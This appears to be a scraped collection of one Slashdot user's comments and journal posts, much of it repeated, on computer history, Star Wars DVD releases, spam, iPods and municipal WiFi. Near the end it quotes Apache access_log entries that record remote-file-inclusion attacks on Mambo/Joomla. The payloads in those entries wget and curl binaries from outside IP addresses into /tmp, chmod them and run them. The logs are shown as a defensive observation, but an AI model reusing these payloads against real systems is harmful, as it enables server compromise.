The Akamai servers have the unencrypted files, and then encrypt them for a particular user when you go to buy/download one. The result is that the file I download with my iTunes userid is different from the file that you download, with your iTunes userid.
(I'm a huge computer history junkie--if nothing else is happening, I can amuse myself for hours digging up old computer stuff on the web. And if you're ever in the San Francisco Bay Area, I highly recommend visiting the Computer History museum.)
Anyway, the article has this quote from SGI founder Jim Clark: Clark is not afraid to publicly dis a company like Apple, much as Steve Jobs once mocked IBM.
"Apple," Jim Clark will sigh, as if he were talking about a horse on its way to the glue factory. "They're not doing anything... Apple blew it."
Then, with a dismissive wave of his hand, and just the hint of a grin: "I think they're in serious trouble."
I tour the store and feel pretty good about landing a spot next to the vacuum cleaners. There are no employees in sight. I hover. A 50-something bearded Jewish man makes eye contact, walks toward me, my first customer. "Do you work here?" he asks. "No, I don't." He starts looking at vacuum cleaners, not knowing where to start. "What are you looking for?" I ask. "I need a vacuum cleaner," he says. "I have a Dirt Devil. It works really well, very powerful machine," I say. "A Dirt Devil. Dirt Devil, OK." A real employee approaches. "May I help you sir?" the employee asks. "Yes, I'd like to buy a Dirt Devil," the man responds." I sold my first vacuum cleaner. Damn, it feels good.
and I'd say that to his face. First of all, I really do believe that this has been his plan all along, at least since he saw the controversy surrounding the 1997 re-releases. Did you RTFA? "Lucasfilm Ltd. and Twentieth Century Fox Home Entertainment will release attractively priced individual two-disc releases of Star Wars, The Empire Strikes Back and Return of the Jedi. Each release includes the 2004 digitally remastered version of the movie and, as bonus material, the theatrical edition of the film." So it's not even a nice, neat little trilogy--you have to buy each two-disc set individually. Great--now I'll own two copies of the version I don't like. You know what? I think I'll give away both sets to people who don't care about the edits--that'll be two more sales Lucas doesn't get--and I'll only keep the original version only. I encourage everyone else to do the same.
"This release will only be available for a limited time: from September 12th to December 31st." Why? What fucking purpose does it serve to only release it for less than 3 months? Is FHE getting out of the DVD-pressing business? You know, I think I just figured it out. I bet that fucker will charge $100 per episode. Lucas' accountants probably crunched the numbers and came up with the price that is the most 99% of all geeks would pay, and he'll make enough in 80 days to retire several times over--again. "Attractively priced" my ass. Attractive to him, maybe. If they're a penny less than $24.95 I'll eat the packaging.
Lucas is an evil genius. This was probably his plan all along. I bet he's been watching sales of the trilogy and they probably hit 10 per month so now he comes out and says "OK, here you go." At least I won't have to run out to buy them on the first day, though. The thing is, I wish he'd go halfway and release a perfectly cleaned up version but without the extras. Remove the slugs from the Emperor's face, get rid of the mattes around the ships, etc. (You know, the things he didn't even fix for the most recent version.) He doesn't even have to tweak things like the shadow under the landspeeder--things that 'could look better'--just fix the things that are actually *wrong.*
Claiming you didn't receive an e-mail is a get-out to any number of problems in collaborative projects...
And that's why it is the perfect tool for a work environment.:-)
In all seriousness, remember when email was just about perfect? Except for the occasional server mishap, every message got through, and they were all good. (Except for chain letters, 'Good Times' warnings, etc., from well-intentioned noobs and clueless relatives.) Then along came spammers, followed by imperfect filtering, and now email is just another part of my life with an unspectacular S:N ratio. Tragedy of the commons, indeed. Make an awesome messaging system with a cost per message that is almost zero and what happens? Fucking assholes think I need to hear about rolex replicas, generic soft tabs, mortgages, and small caps fifty fucking times a day. I'd kill them all if I could.
I'm glad you got modded 'interesting' instead of 'informative' since you're completely wrong. There are several 'ghosting' utilities, both from Apple and third parties, that make corporate Mac deployment and maintenance every bit as easy as using Ghost. You can deploy disk images and do software updates either over a network or from an attached drive--it's as flexible as anything can be. Just because it isn't sold under the name 'Ghost' and you've never heard of it doesn't mean it doesn't exist.
You're kidding me, right? A fucking lawyer wrote this? [Checks.] Yup. Wow. Well, I guess if anyone would know about complexity and intentional obfuscation with the goal being to make it impossible for common people to participate, it'd be a lawyer.
One awesome thing about War Games: they rigged the computer he was using so that each time he pressed a key--ANY key--it would pop up a letter on the screen. One of my big pet peeves in movies is when the sound of the keyboard doesn't sync up with the screen display.
So, Matthew Broderick didn't have 7337 typing skillz, but the filmmakers did loan him Galaga to play, so when he's playing that game in the movie, that's really him playing.
So, if someone has a vision, and does very little to make it happen (relatively speaking), but it just so happens that their vision was the correct one, they get credit for all the good that ocurred? Even though they did little but stand in the corner with their vision?
I'd say, in recent history, that Sir Tim Berners-Lee did the world a great favor by making HTML so easy to use and forgiving (i.e., not closing a tag doesn't cause the page to crash, unlike syntax errors in 'real' programming languages), then NCSA gets credit for making a great browser, then Marc and Jim deserve credit for stealing all that NCSA talent (and possibly some code) to make a really cool browser, and oh yeah, before I get too far, let's not forget Bob's Ethernet, and whoever made TCP/IP, and I guess we need to include K&R and everyone else who made UNIX, because that's what the Internet has mostly run on through its history. And as great as the network is, it's prety useless without nodes, and Bill Gates' *ahem* methods of popularizing DOS and then Windows has put ten times more nodes out there than all other contributors combined.
But some guy in the corner with a "vision" that just happens to align with what eventually occurred? Fuck him. If anything, that honor should go to Vannevar Bush, who, in 1945, had a pretty damn accurate vision of what computing would be like in the 1990s. Considering that he wrote this a year before ENIAC was unveiled, I think we can give him a pass on not predicting network storage.
Consider a future device for individual use, which is a sort of mechanized private file and library. It needs a name, and, to coin one at random, "memex" will do. A memex is a device in which an individual stores all his books, records, and communications, and which is mechanized so that it may be consulted with exceeding speed and flexibility. It is an enlarged intimate supplement to his memory.
It consists of a desk, and while it can presumably be operated from a distance, it is primarily the piece of furniture at which he works. On the top are slanting translucent screens, on which material can be projected for convenient reading. There is a keyboard, and sets of buttons and levers. Otherwise it looks like an ordinary desk.
In one end is the stored material. The matter of bulk is well taken care of by improved microfilm. Only a small part of the interior of the memex is devoted to storage, the rest to mechanism. Yet if the user inserted 5000 pages of material a day it would take him hundreds of years to fill the repository, so he can be profligate and enter material freely.
Most of the memex contents are purchased on microfilm ready for insertion. Books of all sorts, pictures, current periodicals, newspapers, are thus obtained and dropped into place. Business correspondence takes the same path. And there is provision for direct entry.
Talking to people that have worked in games retail, you find that normal people can't/don't/won't keep the names of the systems straight... This is basically Nintendo trying to create a name and brand that is in no way similar to the others [emphasis added] in order to be distinct in the minds of consumers. They see the ad, they actually retain the correct name, and they go and ask for it at the store.
My basic rule: My bank never needs to email me. They have lots of info about me. If they want me, they can send actual postal mail, call.. hell they have my address, they can come by if they feel the need it. If there's something I need to know, they'll find a way to let me know.
... for many reasons, among them his awesome feats of wireless (part 1, part 2) but recently, he really seems to have gone off the deep end. Not as far as Dvorak, but he's getting there. Of course, only time will tell if he's right, but as for this week's column, I doubt Apple will buy Adobe, and I doubt MS Office will die anytime soon. Not only will it not be defeated, it'll still be available on Macs--natively.
There are many things I could say about this. Here's just one: if OpenOffice can't defeat MS Office when it's free and runs on Windows, how in the hell will Apple releasing it make it win? It's entirely possible that there are more OOo/Win users than there are Mac users, period, and it hasn't made a dent in MS' earnings yet.
I ran some iPod clone on a Pocket PC once. (pPod? I forget the name.) It drew a scroll wheel on the screen. Guess what--sliding your finger in a circle on a flat screen is pretty tough, especially if you aren't looking.* The fact that the iPod's wheel is actually in a physically round container is a huge help. Same with the number buttons on a phone--with a bit of thought, you can dial without looking. Possible on a smooth touchscreen? I doubt it.
Also, I preferred the original dock-connector iPod's all-solid-state controls to the current clickwheel setup. The only reason I have a clickwheel iPod now is because I wanted the video-playing model. (The also screwed up when they moved the lock and the headphone jack, but that's another rant.)
* yes, I do scroll without looking--all the time, while driving. Look at road, look at ipod, scroll to artists, look at road, press center button, scroll for a while, glance at screen, see I'm not there yet, look back at the road, scroll some more, etc.
And have you been avoiding this kind of game because you like fighting and think there isn't any? Au contraire--running your own business involves tons of fighting! The first game you learn is called "looking at how people are abusing your box by reading Apache's access_log and error_log"
You either support spending public money spent on items which may not benefit everyone equally (and some not at all), or you don't.
Every public project does not have equal value, and saying you should support all or none is ridiculous. Like I said, I don't think municipal WiFi is a good idea RIGHT NOW. The US interstate highway system was implemented about 50 years after the invention of cars, and even then, it didn't happen overnight. See also water, electricity, garbage, police, firefighters, the armed forces, etc etc etc.
Ah, but you do get the benefit of them--imagine how much it would cost to get goods to the store if these roads weren't there.
As much as I like technology, I don't think wireless Internet access is something taxpayers should be footing the bill for right now. Maybe someday, but right now, it's expensive, hard to maintain, and not heavily used. It was already tried and abandoned in nearby Orlando. Someday, fast wireless will work as well as cell phone service will today, but until then, cities that try this are just throwing their money into a hole--though I'd like to hear from some residents of Sunnyvale, CA to see how their system is working out. You never know who will be the first to get it right.
Re:The concept of "delivering on the promise..."
on
Viiv Falls Flat
·
· Score: 2, Insightful
And Business Development will tell you that they make money off of every copy of some crappy sampleware that they stick on the machine...
And this is always what kills. Some douche thinks that the $.25 per machine they make is where their company makes all their money... never realizing that all those extra ingredients are what make their computers SUCK and that prevents ANYONE from buying one. They always seem to miss the fact that no stuff sold == no profit; that somehow all their cross-promotional agreements are what will keep the company rolling in dough.
"You know, boss, I've been looking at our records... if we fire all the employees and sell all our office equipment, our expenses will drop to zero and the rest will be PURE PROFIT!!!!!111"
Slashdot Mirror
Chapter 11: Searching
40 pages, 500k PDF
And a 'webring' link at the bottom. I didn't know they still made those. Is it 1997 again already?
The Akamai servers have the unencrypted files, and then encrypt them for a particular user when you go to buy/download one. The result is that the file I download with my iTunes userid is different from the file that you download, with your iTunes userid.
Wrong. The iTunes client applies DRM once the song is downloaded.
I can almost feel it fastening around my ankle right now.
Ankle? You must read different comics than I do.
Like I said elsewhere last year,
:-)
A few days after SGI was delisted, I stumbled across an old (1994) article about SGI while I was poking around in one of my favorite places, the Wired archive.
(I'm a huge computer history junkie--if nothing else is happening, I can amuse myself for hours digging up old computer stuff on the web. And if you're ever in the San Francisco Bay Area, I highly recommend visiting the Computer History museum.)
Anyway, the article has this quote from SGI founder Jim Clark:
Clark is not afraid to publicly dis a company like Apple, much as Steve Jobs once mocked IBM.
"Apple," Jim Clark will sigh, as if he were talking about a horse on its way to the glue factory. "They're not doing anything... Apple blew it."
Then, with a dismissive wave of his hand, and just the hint of a grin: "I think they're in serious trouble."
Funny how things can change in 12 years.
I tour the store and feel pretty good about landing a spot next to the vacuum cleaners. There are no employees in sight. I hover. A 50-something bearded Jewish man makes eye contact, walks toward me, my first customer.
"Do you work here?" he asks.
"No, I don't."
He starts looking at vacuum cleaners, not knowing where to start.
"What are you looking for?" I ask.
"I need a vacuum cleaner," he says. "I have a Dirt Devil. It works really well, very powerful machine," I say.
"A Dirt Devil. Dirt Devil, OK."
A real employee approaches.
"May I help you sir?" the employee asks.
"Yes, I'd like to buy a Dirt Devil," the man responds."
I sold my first vacuum cleaner. Damn, it feels good.
and I'd say that to his face. First of all, I really do believe that this has been his plan all along, at least since he saw the controversy surrounding the 1997 re-releases. Did you RTFA? "Lucasfilm Ltd. and Twentieth Century Fox Home Entertainment will release attractively priced individual two-disc releases of Star Wars, The Empire Strikes Back and Return of the Jedi. Each release includes the 2004 digitally remastered version of the movie and, as bonus material, the theatrical edition of the film." So it's not even a nice, neat little trilogy--you have to buy each two-disc set individually. Great--now I'll own two copies of the version I don't like. You know what? I think I'll give away both sets to people who don't care about the edits--that'll be two more sales Lucas doesn't get--and I'll only keep the original version only. I encourage everyone else to do the same.
"This release will only be available for a limited time: from September 12th to December 31st." Why? What fucking purpose does it serve to only release it for less than 3 months? Is FHE getting out of the DVD-pressing business? You know, I think I just figured it out. I bet that fucker will charge $100 per episode. Lucas' accountants probably crunched the numbers and came up with the price that is the most 99% of all geeks would pay, and he'll make enough in 80 days to retire several times over--again. "Attractively priced" my ass. Attractive to him, maybe. If they're a penny less than $24.95 I'll eat the packaging.
Lucas is an evil genius. This was probably his plan all along. I bet he's been watching sales of the trilogy and they probably hit 10 per month so now he comes out and says "OK, here you go." At least I won't have to run out to buy them on the first day, though. The thing is, I wish he'd go halfway and release a perfectly cleaned up version but without the extras. Remove the slugs from the Emperor's face, get rid of the mattes around the ships, etc. (You know, the things he didn't even fix for the most recent version.) He doesn't even have to tweak things like the shadow under the landspeeder--things that 'could look better'--just fix the things that are actually *wrong.*
Claiming you didn't receive an e-mail is a get-out to any number of problems in collaborative projects...
:-)
And that's why it is the perfect tool for a work environment.
In all seriousness, remember when email was just about perfect? Except for the occasional server mishap, every message got through, and they were all good. (Except for chain letters, 'Good Times' warnings, etc., from well-intentioned noobs and clueless relatives.) Then along came spammers, followed by imperfect filtering, and now email is just another part of my life with an unspectacular S:N ratio. Tragedy of the commons, indeed. Make an awesome messaging system with a cost per message that is almost zero and what happens? Fucking assholes think I need to hear about rolex replicas, generic soft tabs, mortgages, and small caps fifty fucking times a day. I'd kill them all if I could.
I'm glad you got modded 'interesting' instead of 'informative' since you're completely wrong. There are several 'ghosting' utilities, both from Apple and third parties, that make corporate Mac deployment and maintenance every bit as easy as using Ghost. You can deploy disk images and do software updates either over a network or from an attached drive--it's as flexible as anything can be. Just because it isn't sold under the name 'Ghost' and you've never heard of it doesn't mean it doesn't exist.
You're kidding me, right? A fucking lawyer wrote this? [Checks.] Yup. Wow. Well, I guess if anyone would know about complexity and intentional obfuscation with the goal being to make it impossible for common people to participate, it'd be a lawyer.
So is OS/2. Go Team OS/2! ;-)
One awesome thing about War Games: they rigged the computer he was using so that each time he pressed a key--ANY key--it would pop up a letter on the screen. One of my big pet peeves in movies is when the sound of the keyboard doesn't sync up with the screen display.
So, Matthew Broderick didn't have 7337 typing skillz, but the filmmakers did loan him Galaga to play, so when he's playing that game in the movie, that's really him playing.
Remember, that film took place in the System 7 days--the Mac OS *was* the virus. What you were seeing was the installation progress bar. :-)
I'd say, in recent history, that Sir Tim Berners-Lee did the world a great favor by making HTML so easy to use and forgiving (i.e., not closing a tag doesn't cause the page to crash, unlike syntax errors in 'real' programming languages), then NCSA gets credit for making a great browser, then Marc and Jim deserve credit for stealing all that NCSA talent (and possibly some code) to make a really cool browser, and oh yeah, before I get too far, let's not forget Bob's Ethernet, and whoever made TCP/IP, and I guess we need to include K&R and everyone else who made UNIX, because that's what the Internet has mostly run on through its history. And as great as the network is, it's prety useless without nodes, and Bill Gates' *ahem* methods of popularizing DOS and then Windows has put ten times more nodes out there than all other contributors combined.
But some guy in the corner with a "vision" that just happens to align with what eventually occurred? Fuck him. If anything, that honor should go to Vannevar Bush, who, in 1945, had a pretty damn accurate vision of what computing would be like in the 1990s. Considering that he wrote this a year before ENIAC was unveiled, I think we can give him a pass on not predicting network storage.
(On page 4, look for 'memex.')
Talking to people that have worked in games retail, you find that normal people can't/don't/won't keep the names of the systems straight... This is basically Nintendo trying to create a name and brand that is in no way similar to the others [emphasis added] in order to be distinct in the minds of consumers. They see the ad, they actually retain the correct name, and they go and ask for it at the store.
One word: Viiv. .
I haven't seen it mentioned much in the last couple stories, but it was the first thing that popped into my mind when I saw the name.
What does 'wanker' mean in English?
My basic rule: My bank never needs to email me. They have lots of info about me. If they want me, they can send actual postal mail, call.. hell they have my address, they can come by if they feel the need it. If there's something I need to know, they'll find a way to let me know.
... for many reasons, among them his awesome feats of wireless (part 1, part 2) but recently, he really seems to have gone off the deep end. Not as far as Dvorak, but he's getting there. Of course, only time will tell if he's right, but as for this week's column, I doubt Apple will buy Adobe, and I doubt MS Office will die anytime soon. Not only will it not be defeated, it'll still be available on Macs--natively.
There are many things I could say about this. Here's just one: if OpenOffice can't defeat MS Office when it's free and runs on Windows, how in the hell will Apple releasing it make it win? It's entirely possible that there are more OOo/Win users than there are Mac users, period, and it hasn't made a dent in MS' earnings yet.
Looking at a journal entry from last year, I can't see anything that has changed.
I ran some iPod clone on a Pocket PC once. (pPod? I forget the name.) It drew a scroll wheel on the screen. Guess what--sliding your finger in a circle on a flat screen is pretty tough, especially if you aren't looking.* The fact that the iPod's wheel is actually in a physically round container is a huge help. Same with the number buttons on a phone--with a bit of thought, you can dial without looking. Possible on a smooth touchscreen? I doubt it.
Also, I preferred the original dock-connector iPod's all-solid-state controls to the current clickwheel setup. The only reason I have a clickwheel iPod now is because I wanted the video-playing model. (The also screwed up when they moved the lock and the headphone jack, but that's another rant.)
* yes, I do scroll without looking--all the time, while driving. Look at road, look at ipod, scroll to artists, look at road, press center button, scroll for a while, glance at screen, see I'm not there yet, look back at the road, scroll some more, etc.
And have you been avoiding this kind of game because you like fighting and think there isn't any? Au contraire--running your own business involves tons of fighting! The first game you learn is called "looking at how people are abusing your box by reading Apache's access_log and error_log"
/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /blog/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /drupal/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /phpgroupware/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /wordpress/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /xmlrpc/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /xmlsrv/xmlrpc.php HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /index2.php?option=com_content&do_pdf=1&id=1index2 .php?_REQUEST[option]=com_content&_REQUEST[Itemid] =1&GLOBALS=&mosConfig_absolu ://207.90.211.54/arts;chmod%207 /index.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]= 1&GLOBALS=&mosConfig_absolut ;wget%2070.168.74.193/strange;chmod%20744%20strang e;./strange;cd%20/var/tmp;curl%20-o%20arts%20http: //207.90.211.54/arts;chmod%2074 /mambo/index2.php?_REQUEST[option]=com_content&_RE QUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=h ttp://69.
An example of the action with access_log:
69.224.108.166 - - [04/Apr/2006:05:04:06 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:06 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:07 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:08 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:12 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:13 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:13 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:14 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:19 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:19 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:22 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:24 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:28 -0400] "POST
69.224.108.166 - - [04/Apr/2006:05:04:29 -0400] ";exit;/*" 501 - "-" "-"
69.224.108.166 - - [04/Apr/2006:05:04:29 -0400] "GET
te_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tm p;wget%2070.168.74.193/strange;chmod%20744%20stran ge;./strange;cd%20/var/tmp;curl%20-o%20arts%20http
44%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.224.108.166 - - [04/Apr/2006:05:04:30 -0400] "GET
e_path=http://69.17.157.154/cmd.txt?&cmd=cd%20/tmp
4%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 15 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.224.108.166 - - [04/Apr/2006:05:04:32 -0400] "GET
You either support spending public money spent on items which may not benefit everyone equally (and some not at all), or you don't.
Every public project does not have equal value, and saying you should support all or none is ridiculous. Like I said, I don't think municipal WiFi is a good idea RIGHT NOW. The US interstate highway system was implemented about 50 years after the invention of cars, and even then, it didn't happen overnight. See also water, electricity, garbage, police, firefighters, the armed forces, etc etc etc.
Ah, but you do get the benefit of them--imagine how much it would cost to get goods to the store if these roads weren't there.
As much as I like technology, I don't think wireless Internet access is something taxpayers should be footing the bill for right now. Maybe someday, but right now, it's expensive, hard to maintain, and not heavily used. It was already tried and abandoned in nearby Orlando. Someday, fast wireless will work as well as cell phone service will today, but until then, cities that try this are just throwing their money into a hole--though I'd like to hear from some residents of Sunnyvale, CA to see how their system is working out. You never know who will be the first to get it right.
And Business Development will tell you that they make money off of every copy of some crappy sampleware that they stick on the machine...
And this is always what kills. Some douche thinks that the $.25 per machine they make is where their company makes all their money... never realizing that all those extra ingredients are what make their computers SUCK and that prevents ANYONE from buying one. They always seem to miss the fact that no stuff sold == no profit; that somehow all their cross-promotional agreements are what will keep the company rolling in dough.
"You know, boss, I've been looking at our records... if we fire all the employees and sell all our office equipment, our expenses will drop to zero and the rest will be PURE PROFIT!!!!!111"
Aah, forget you guys. I'm gonna make my own awards show, with hookers and blackjack!